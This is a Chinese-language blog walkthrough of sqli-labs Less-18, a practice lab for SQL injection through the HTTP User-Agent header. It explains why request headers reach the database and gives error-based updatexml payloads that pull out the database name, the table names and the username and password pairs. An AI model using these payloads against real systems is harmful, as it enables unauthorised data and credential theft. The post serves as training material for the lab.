当前位置: 首页 > ds >正文

sqlilab-Less-18

知识铺垫

User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。user-agent的作用。通过识别用户身份,响应合适的web界面,所以更改可以让电脑返回一个手机界面,是不是很神奇

User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>

那为什么http头部可以进行注入?结合网上资料由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。任何与数据库交互的地方都是有可能会有sql注入漏洞的。没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。

题目解析

一个新的类型的关卡,从这里到后面的几关都是HTTP头部注入,来到这关后就可以看到这里显示我们的ip地址,我们尝试输入正确的用户名+正确的密码,会出现user agent,但是错误的账号,则不会显示,,说明我们要从这里入手,那么问题就很简单了,那么我们就可以尝试抓包然后在User-Agent中进行注入

当我们在后面加上单引号的时候,发现页面报错了

admin是我们的用户名,127.0.0.1是我们的地址,他可能把我们这是三个打印出来,然后在显示出来,我们可以一下,传入三个字符串,这里我尝试构造一个 ,1,1)#,成功了。

查看源码

接下来就简单多了

爆数据库

User-Agent: ''1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#

爆表名

User-Agent:1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and'

第一个这样子长度受限制了,只能一个个去尝试了

User-Agent:1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and'
User-Agent:1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'

http://www.xdnf.cn/news/5675.html

相关文章:

  • 【第四批】运行时应用程序自我保护(RASP)工具能力通过评估名单
  • 【Dv3Admin】工具数据验证配置文件解析
  • 网卡网孔速率的协商是如何进行的?
  • 【Rust泛型】Rust泛型使用详解与应用场景
  • 力扣HOT100之二叉树:104. 二叉树的最大深度
  • 软件安全之内存泄漏
  • 构造+简单树状
  • 搜索二维矩阵 II 算法讲解
  • OpenHarmony 开源鸿蒙南向开发——linux下使用make交叉编译第三方库——gnutls
  • AD开启交叉选择功能,只选中器件,不选中网络、焊盘
  • PostgreSQL 序列(Sequence) 与 Oracle 序列对比
  • 聊一聊常见的超时问题:timeout
  • 理解CNN模型:从原理到应用
  • Linux系列(3)----用户和用户组管理、系统管理
  • 大模型核心基础简介
  • JAVA笔记6——异常
  • 【我的创作纪念日】512
  • Error from server (NotFound) namespaces kubesphere-system not found报错解决方案
  • 解锁仓储升级:Canopen到Profinet网关的革新应用!
  • 连续抵消解码器--Successive Cancellation decoder(SC 解码器)
  • MNIST 数据并行 Data Parallel - DP
  • P4933 大师
  • ROS 2 FishBot PID控制电机代码
  • ‌中继器:网络中的“血包”与“加时器”‌
  • 【python编程从入门到到实践】第六章 字典
  • 将PyQt5设计的程序打包成.exe文件
  • 掌握 void 类型在函数返回值中的应用
  • 企业级数据安全实践:ChatBI的多源异构治理与OLAP查询加速方案
  • Java中的JDK7和JDK8时间类详解
  • Zotero文献管理